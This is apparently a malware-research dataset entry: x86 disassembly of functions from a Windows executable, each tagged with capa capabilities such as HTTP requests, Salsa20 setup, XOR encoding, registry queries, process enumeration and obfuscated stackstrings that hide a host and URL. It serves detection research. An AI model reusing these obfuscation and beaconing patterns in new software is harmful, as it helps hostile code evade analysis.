joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406340
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [esp + 0x14], esi
mov esi, dword [ecx + 0x10]
mov dword [esp + 0x18], edx
test esi, esi
jne 0x406384
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x40637d
mov esi, dword [eax + 0x20]
jmp 0x406384
test bl, bl
jns 0x406384
mov esi, dword [eax + 0x24]
mov dword [esp + 0x1c], esi
mov esi, dword [ecx + 0x24]
mov dword [esp + 0x20], esi
mov esi, 1
add ecx, 0x28
mov dword [esp + 0x24], 0
mov dword [esp + 0x10], 1
cmp si, word [eax + 6]
jae 0x406464
lea ebx, [ecx + 0x24]
mov esi, dword [edi + 0x3c]
mov ebp, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ebp
test edi, edi
jne 0x4063d9
mov ecx, dword [ebx]
test cl, 0x40
je 0x4063d2
mov edi, dword [eax + 0x20]
jmp 0x4063d9
test cl, cl
jns 0x4063d9
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x406412
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
add eax, ecx
cmp eax, esi
ja 0x406412
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.00406290
test eax, eax
je 0x406485
mov eax, dword [ebx]
mov edx, esi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], edx
mov dword [esp + 0x20], eax
jmp 0x40643e
mov eax, dword [ebx]
test eax, 0x2000000
je 0x40642b
test dword [esp + 0x20], 0x2000000
je 0x40642b
or dword [esp + 0x20], eax
jmp 0x406438
or eax, dword [esp + 0x20]
and eax, 0xfdffffff
mov dword [esp + 0x20], eax
sub edi, dword [esp + 0x14]
add edi, ebp
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x10]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
cmp ecx, esi
mov dword [esp + 0x1c], edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x10], ecx
jl 0x4063b4
lea ecx, [esp + 0x14]
mov eax, edi
mov dword [esp + 0x24], 1
call fcn.00406290
pop edi
neg eax
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x18
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x406c80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x2c
mov ecx, dword [esp + 0x30]
push esi
mov esi, dword [esp + 0x38]
sub ecx, esi
push edi
mov dword [esp + 0x14], 0xc840
mov dword [esp + 0x18], 0xd951
mov dword [esp + 0x1c], 0xea62
mov dword [esp + 0x20], 0xfb73
mov dword [esp + 0x24], 0xfa50
mov dword [esp + 0x28], 0xcb61
mov dword [esp + 0x2c], 0xd872
mov dword [esp + 0x30], 0xe943
mov eax, esi
mov dword [esp + 0x10], ecx
mov edx, 0x10
lea ebx, [ebx]
mov edi, dword [ecx + eax]
mov dword [eax], edi
add eax, 4
sub edx, 1
jne 0x406ce0
xor eax, eax
push ebx
mov dword [esp + 0x10], eax
push ebp
and eax, 7
mov edx, dword [esp + eax*4 + 0x1c]
mov ecx, edx
shr ecx, 8
and ecx, 0xf
mov edi, edx
mov eax, edx
shr edi, 4
mov dword [esp + 0x44], ecx
mov ecx, 0x19181410
and eax, 0xf
and edi, 0xf
shr edx, 0xc
mov dword [esp + 0x10], ecx
mov ebx, dword [esi + edi*4]
add dword [esi + eax*4], ebx
mov ebx, dword [esi + eax*4]
mov ebp, dword [esi + edx*4]
movzx ecx, cl
xor ebp, ebx
ror ebp, cl
mov ecx, eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x44], ecx
mov ecx, edi
mov dword [esi + edx*4], ebp
mov edi, edx
mov edx, ecx
mov ecx, dword [esp + 0x10]
shr ecx, 8
mov dword [esp + 0x10], ecx
test ecx, ecx
jne 0x406d21
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x50
jb 0x406cf5
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x18]
pop ebp
add eax, 0xc
add esi, 4
mov ecx, 4
pop ebx
lea esp, [esp]
mov edi, dword [eax - 0xc]
add dword [esi - 4], edi
mov edi, dword [esi + edx]
add dword [esi], edi
mov edi, dword [eax - 4]
add dword [esi + 4], edi
mov edi, dword [eax]
add dword [esi + 8], edi
add esi, 0x10
add eax, 0x10
sub ecx, 1
jne 0x406d80
pop edi
pop esi
add esp, 0x2c
ret 8

Function at 0x406db0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x3320646e
mov dword [eax + 8], 0x79622d32
mov dword [eax + 0xc], 0x6b206574
mov edx, dword [ecx]
mov dword [eax + 0x10], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x14], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x18], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x1c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x20], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x24], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0x28], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0x2c], ecx
xor ecx, ecx
mov dword [eax + 0x30], ecx
mov dword [eax + 0x34], ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx]
mov dword [eax + 0x38], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 0x3c], ecx
ret 0xc
Function at 0x406e20
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x4c
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
mov ebx, dword [esp + 0x58]
push esi
mov esi, dword [esp + 0x58]
push edi
mov edi, dword [esp + 0x64]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ebx
test edi, edi
je 0x406e9f
push ebp
lea ebx, [ebx]
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push esi
call fcn.00406c80
add dword [esi + 0x30], 1
adc dword [esi + 0x34], 0
cmp edi, 0x40
jbe 0x406e73
mov ebp, 0x40
jmp 0x406e79
mov ebp, edi
test edi, edi
jbe 0x406e92
lea ecx, [esp + 0x18]
mov eax, ebx
sub ecx, ebx
mov edx, ebp
mov bl, byte [ecx + eax]
xor byte [eax], bl
inc eax
sub edx, 1
jne 0x406e83
mov ebx, dword [esp + 0x10]
sub edi, ebp
add ebx, ebp
mov dword [esp + 0x10], ebx
test edi, edi
jne 0x406e50
pop ebp
mov ecx, dword [esp + 0x54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b213
add esp, 0x4c
ret 0xc

Function at 0x406ec0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
mov ecx, dword [esp + 0x10]
push 0x400
lea edi, [esi + 0x2b8]
push 0
push edi
mov dword [esi + 0x6b8], eax
mov dword [esi + 0x6bc], ecx
call fcn.0040a800
mov edx, dword [esp + 0x20]
push edx
push 0x400
push edi
call fcn.0040cb97
push 0x80
lea eax, [esi + 0x30]
push 0
push eax
call fcn.0040a800
mov eax, dword [esi + 0x6b8]
add esp, 0x24
test eax, eax
je 0x406f33
push 0xb0
push eax
push 0xb0
push esi
call fcn.0040a723
add esp, 0x10
pop edi
mov eax, esi
pop esi
ret 0xc
mov ecx, dword [esi + 0x6c0]
push 0
push 0
push ecx
call fcn.0040c762
mov edx, dword [esi + 0x6c0]
push edx
push 1
push 0xb0
push esi
call fcn.0040cb7a
add esp, 0x1c
pop edi
mov eax, esi
pop esi
ret 0xc

Function at 0x407040
Capabilities:
Read file on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 0x6b8]
test ecx, ecx
je 0x407075
mov eax, dword [esp + 0x10]
mov esi, dword [edi + eax*8 + 0x34]
push ebp
mov ebp, dword [edi + eax*8 + 0x30]
push esi
add ebp, ecx
call fcn.0040a4be
push esi
push ebp
mov ebx, eax
push esi
push ebx
call fcn.0040a723
add esp, 0x14
pop ebp
jmp 0x4070ab
mov esi, dword [esp + 0x10]
mov eax, dword [edi + esi*8 + 0x30]
mov ecx, dword [edi + 0x6c0]
push 0
push eax
push ecx
call fcn.0040c762
mov esi, dword [edi + esi*8 + 0x34]
push esi
call fcn.0040a4be
mov edx, dword [edi + 0x6c0]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.0040cb7a
add esp, 0x20
push esi
push ebx
lea eax, [edi + 0x2b8]
push eax
mov ecx, edi
call fcn.00406f70
add esi, 0xfffffff8
push esi
mov edi, eax
call fcn.0040a4be
mov ecx, dword [esp + 0x18]
push esi
lea edx, [ebx + 8]
push edx
push esi
push eax
mov dword [ecx], eax
call fcn.0040a723
mov eax, dword [esp + 0x2c]
push ebx
mov dword [eax], esi
call fcn.0040ac35
add esp, 0x18
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x407440
Capabilities:
Connect to http server
Create http request

Disassembly:
push esi
push edi
mov esi, ecx
mov edi, 0x10
cmp dword [esi + 0x18], edi
jb 0x407453
mov eax, dword [esi + 4]
jmp 0x407456
lea eax, [esi + 4]
mov ecx, dword [esp + 0x2c]
push 0
push 0
push 0
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x3c], eax
cmp dword [esp + 0x24], edi
jae 0x407479
lea ecx, [esp + 0x10]
mov edx, dword [esp + 0x28]
push 0
push 0
push 3
push 0
push 0
push edx
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esi + 0x40], eax
test eax, eax
jne 0x4074b1
cmp dword [esp + 0x24], edi
jb 0x4074aa
mov eax, dword [esp + 0x10]
push eax
call fcn.0040a718
add esp, 4
pop edi
xor al, al
pop esi
ret 0x24
mov byte [esi + 0x1c], 1
cmp dword [esp + 0x24], edi
jb 0x4074c8
mov ecx, dword [esp + 0x10]
push ecx
call fcn.0040a718
add esp, 4
pop edi
mov al, 1
pop esi
ret 0x24

Function at 0x4074d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, 0x10
mov dword [esp + 8], 0
cmp dword [esp + 0x34], edi
jae 0x4074f4
lea eax, [esp + 0x20]
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40753c
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], 4
cmp dword [esp + 0x50], edi
jae 0x407522
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0xc]
push edx
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 8]
cmp dword [esp + 0x34], edi
jb 0x40755e
mov edx, dword [esp + 0x20]
push edx
call fcn.0040a718
add esp, 4
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], 0
mov byte [esp + 0x20], 0
cmp dword [esp + 0x50], edi
jb 0x407586
mov eax, dword [esp + 0x3c]
push eax
call fcn.0040a718
add esp, 4
pop edi
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x408a20
Capabilities:
Check http status code
Send data
Send http request

Disassembly:
sub esp, 0x38
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x34], eax
push ebx
push esi
push edi
xor ebx, ebx
push 1
mov esi, ecx
mov al, 0x6f
mov cl, 0x67
mov byte [esp + 0x3b], cl
mov byte [esp + 0x38], cl
push 0x50
mov byte [esp + 0x44], al
mov byte [esp + 0x3e], al
mov byte [esp + 0x3d], al
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x5c], 0x6c
mov byte [esp + 0x5d], 0x65
mov byte [esp + 0x61], 0x6d
mov byte [esp + 0x5e], 0x2e
mov byte [esp + 0x62], bl
mov byte [esp + 0x5f], 0x63
lea eax, [esp + 0x58]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
mov byte [esp + 0x33], bl
mov dword [esp + 0x34], esp
mov byte [ecx + 4], bl
lea edi, [eax + 1]
nop
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x408a90
sub eax, edi
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.00401dc0
mov ecx, esi
call fcn.00407440
cmp byte [esi + 0x1c], bl
je 0x408b5b
lea ecx, [esp + 0x18]
push ebx
push ecx
call fcn.00408660
add esp, 8
cmp dword [eax + 0x18], 0x10
jb 0x408acd
mov eax, dword [eax + 4]
jmp 0x408ad0
add eax, 4
mov edx, dword [esi + 0x40]
push ebx
push ebx
push ebx
push ebx
push 0x41bc3c
push 0x41bc48
push eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp dword [esp + 0x30], 0x10
mov edi, eax
jb 0x408aff
mov eax, dword [esp + 0x1c]
push eax
call fcn.0040a718
add esp, 4
mov dword [esp + 0x30], 0xf
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x1c], bl
cmp edi, ebx
je 0x408b50
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0x20000013
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [esp + 0x14], 0xc8
jne 0x408b50
mov byte [esp + 0xf], 1
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
jmp 0x408b61
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [esi + 0x1c], bl
je 0x408b75
mov eax, dword [esi + 0x40]
push eax
call edi
mov ecx, dword [esi + 0x3c]
push ecx
call edi
mov byte [esi + 0x1c], bl
mov ecx, dword [esp + 0x40]
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040b213
add esp, 0x38
ret
Function at 0x408f00
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x41aa59
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4201f4]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
mov edi, dword [esp + 0x80]
mov eax, dword [esp + 0x84]
xor ebx, ebx
mov dword [esp + 0x38], edi
mov dword [esp + 0x34], ebx
mov dword [edi + 0x18], 0xf
mov dword [edi + 0x14], ebx
mov dword [esp + 0x78], 2
mov byte [edi + 4], bl
mov ecx, dword [esp + 0x8c]
mov ebp, 0x10
mov dword [esp + 0x34], 1
cmp dword [esp + 0xa0], ebp
jae 0x408f78
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x14]
push edx
push 0x20019
push ebx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4090c4
lea ecx, [esp + 0x1c]
call fcn.00408e00
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x28]
mov byte [esp + 0x78], 3
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0xa8]
cmp dword [esp + 0xbc], ebp
jae 0x408fc4
lea eax, [esp + 0xa8]
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [esp + 0x18]
push ecx
push ebx
push ebx
push ebx
push eax
push edx
call esi
cmp eax, ebx
jne 0x40909a
mov eax, dword [esp + 0x18]
push ebx
push eax
lea ecx, [esp + 0x24]
call fcn.00408e60
mov ecx, dword [esp + 0x2c]
sub ecx, dword [esp + 0x28]
jne 0x409000
call fcn.0040ae1d
mov eax, dword [esp + 0xa8]
cmp dword [esp + 0xbc], ebp
jae 0x409017
lea eax, [esp + 0xa8]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x18]
push ecx
push ebx
push ebx
push eax
push edx
call esi
cmp eax, ebx
jne 0x40909a
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x28]
cmp eax, ebx
jle 0x40909a
push 1
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea ecx, [esp + 0x28]
call fcn.00407600
mov ecx, eax
call fcn.00407370
lea edx, [esp + 0x4c]
push edx
lea ecx, [esp + 0x20]
mov esi, eax
call fcn.004075d0
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea ecx, [esp + 0x64]
call fcn.00407b80
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
mov byte [esp + 0x84], 4
call fcn.00401ce0
lea ecx, [esp + 0x54]
call fcn.00401b40
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x4090ab
push eax
call fcn.0040a718
add esp, 4
mov eax, dword [esp + 0x1c]
push eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call fcn.0040a718
add esp, 4
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [esp + 0xa0], ebp
jb 0x4090e8
mov edx, dword [esp + 0x8c]
push edx
call fcn.0040a718
add esp, 4
mov dword [esp + 0xa0], 0xf
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
cmp dword [esp + 0xbc], ebp
jb 0x40911a
mov eax, dword [esp + 0xa8]
push eax
call fcn.0040a718
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x68
ret
Function at 0x409c80
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x41abbb
mov eax, dword fs:[0]
push eax
sub esp, 0x120
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4201f4]
xor eax, esp
push eax
lea eax, [esp + 0x134]
mov dword fs:[0], eax
mov edi, dword [esp + 0x144]
push 0x100
xor ebx, ebx
lea eax, [esp + 0x34]
push ebx
push eax
mov ebp, ecx
call fcn.0040a800
mov cl, 0x6d
mov dl, 0x73
mov byte [esp + 0x50], cl
mov byte [esp + 0x55], cl
mov cl, 0x65
mov al, 0x70
mov byte [esp + 0x51], dl
mov byte [esp + 0x59], dl
mov byte [esp + 0x5a], cl
mov byte [esp + 0x49], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x40], dl
mov dl, 0x67
mov cl, 0x2e
add esp, 0xc
mov byte [esp + 0x30], 0x68
mov byte [esp + 0x37], 0x2f
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x50], al
mov byte [esp + 0x35], 0x3a
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x3f], 0x72
mov byte [esp + 0x39], 0x6e
mov byte [esp + 0x31], 0x74
mov byte [esp + 0x33], al
mov byte [esp + 0x36], 0x2f
mov byte [esp + 0x52], al
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x3a], dl
mov byte [esp + 0x43], 0x61
mov byte [esp + 0x48], 0x6f
mov byte [esp + 0x4a], 0x2f
mov byte [esp + 0x4b], 0x66
mov byte [esp + 0x46], cl
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x4f], cl
mov byte [esp + 0x41], dl
mov byte [esp + 0x3e], al
mov byte [esp + 0x51], 0x68
mov byte [esp + 0x54], bl
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
lea eax, [esp + 0x30]
mov dword [esp + 0x13c], ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x409da6
sub eax, esi
push eax
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x1c]
call fcn.00401dc0
xor esi, esi
push edi
lea edx, [esp + 0x18]
push edx
mov ecx, ebp
call fcn.00409a20
cmp dword [edi + 0x14], ebx
ja 0x409de0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 3
jl 0x409dc0
cmp dword [esp + 0x2c], 0x10
jb 0x409df4
mov eax, dword [esp + 0x18]
push eax
call fcn.0040a718
add esp, 4
mov al, 1
mov ecx, dword [esp + 0x134]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040b213
add esp, 0x12c
ret 4
Function at 0x409e40
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x530
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x52c], eax
push ebx
push ebp
push edi
mov edi, dword [esp + 0x540]
xor ebp, ebp
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x409e76
xor eax, eax
jmp 0x409f55
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov dword [esp + 0xc], ebp
push esi
mov edi, edi
xor esi, esi
movsx ecx, byte [esp + esi + 0x38]
push ecx
call fcn.0040d2d1
mov byte [esp + esi + 0x3c], al
inc esi
add esp, 4
cmp esi, 0x104
jl 0x409e92
push 0x400
push edi
lea edx, [esp + 0x144]
push 0x400
push edx
call fcn.0040d107
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x150]
push 0x41bcd8
push ecx
call fcn.0040d019
add esp, 0x1c
test eax, eax
je 0x409f31
mov ecx, eax
lea eax, [esp + 0x38]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409f10
test dl, dl
je 0x409f0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409f10
add eax, 2
add ecx, 2
test dl, dl
jne 0x409ef0
xor eax, eax
jmp 0x409f15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x409f46
lea edx, [esp + 0x10]
push edx
push 0x41bcdc
push 0
call fcn.0040d019
add esp, 0xc
test eax, eax
jne 0x409ee3
lea eax, [esp + 0x14]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x409e90
jmp 0x409f4b
mov ebp, 1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
pop esi
mov ecx, dword [esp + 0x538]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b213
add esp, 0x530
ret 4

Function at 0x409f70
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x108
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x104], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x11c]
imul esi, esi, 0x64
xor ebp, ebp
push edi
mov edi, ecx
test esi, esi
jle 0x40a00c
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, dword [edi + 8]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x40a00c
push 0x103
lea ecx, [esp + 0x15]
push 0
push ecx
mov byte [esp + 0x1c], 0
call fcn.0040a800
mov eax, dword [edi + 8]
add esp, 0xc
push 0x104
lea edx, [esp + 0x14]
push edx
push eax
call ebx
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409fe0
sub eax, edx
cmp eax, 3
jle 0x409fff
movsx ecx, byte [esp + eax + 0xe]
sub ecx, 0x30
cmp dword [esp + 0x11c], ecx
je 0x40a029
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, esi
jl 0x409fa0
xor al, al
mov ecx, dword [esp + 0x114]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040b213
add esp, 0x108
ret 8
mov al, 1
jmp 0x40a00e

Function at 0x40a110
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x40a030
push 0
push 0
mov byte [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0xc], eax
pop esi
ret
Function at 0x40a360
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
lea esi, [eax + eax*4]
add esi, esi
xor ebx, ebx
push edi
mov edi, ecx
test esi, esi
jle 0x40a39c
push ebp
mov ebp, dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x40a380
push edi
push 0x40a1e0
call ebp
mov eax, dword [edi + 8]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x40a39b
inc ebx
cmp ebx, esi
jl 0x40a380
pop ebp
pop edi
pop esi
pop ebx
ret 4

Function at 0x40a3b0
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
sub esp, 0x20c
mov eax, dword [0x4201f4]
xor eax, esp
mov dword [esp + 0x208], eax
push ebp
mov ebp, dword [esp + 0x214]
push esi
mov esi, ecx
cmp dword [esi + 8], 0
push edi
mov edi, dword [sym.imp.USER32.dll_IsWindow]
mov dword [esi], ebp
jne 0x40a3f0
push esi
push 0x40a1e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esi + 8]
push eax
call edi
mov ecx, dword [esi + 8]
push ecx
call edi
test eax, eax
je 0x40a48f
push 0x103
lea edx, [esp + 0x11]
push 0
push edx
mov byte [esp + 0x18], 0
call fcn.0040a800
push 0x103
lea eax, [esp + 0x121]
push 0
push eax
mov byte [esp + 0x128], 0
call fcn.0040a800
mov edx, dword [esi + 8]
add esp, 0x18
push 0x104
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a450
sub eax, edx
cmp eax, 3
jle 0x40a48f
mov byte [esp + eax + 9], cl
push ebp
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x118]
push str._s_i
push ecx
call fcn.0040a140
mov eax, dword [esi + 8]
add esp, 0x10
lea edx, [esp + 0x110]
push edx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
xor ecx, esp
mov al, 1
call fcn.0040b213
add esp, 0x20c
ret 4

Function at 0x40b213
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4201f4]
jne 0x40b21d
repz ret
jmp fcn.0040f12c
Function at 0x41751d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040de65
and dword [ebp - 4], 0
cmp dword [0x421fac], 0
mov ebx, eax
jne 0x4175ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41767f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41d814
push edi
call esi
test eax, eax
je 0x41767f
push eax
call fcn.0040ddf3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x421fac], eax
call esi
push eax
call fcn.0040ddf3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x421fb0], eax
call esi
push eax
call fcn.0040ddf3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x421fb4], eax
call esi
push eax
call fcn.0040ddf3
pop ecx
mov dword [0x421fbc], eax
test eax, eax
je 0x4175ce
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ddf3
pop ecx
mov dword [0x421fb8], eax
mov eax, dword [0x421fb8]
cmp eax, ebx
je 0x417626
cmp dword [0x421fbc], ebx
je 0x417626
push eax
call fcn.0040de6e
push dword [0x421fbc]
mov esi, eax
call fcn.0040de6e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x417626
test edi, edi
je 0x417626
call esi
test eax, eax
je 0x41761d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41761d
test byte [ebp - 0xc], 1
jne 0x417626
or dword [ebp + 0x10], 0x200000
jmp 0x41765f
mov eax, dword [0x421fb0]
cmp eax, ebx
je 0x41765f
push eax
call fcn.0040de6e
pop ecx
test eax, eax
je 0x41765f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41765f
mov eax, dword [0x421fb4]
cmp eax, ebx
je 0x41765f
push eax
call fcn.0040de6e
pop ecx
test eax, eax
je 0x41765f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x421fac]
call fcn.0040de6e
pop ecx
test eax, eax
je 0x41767f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
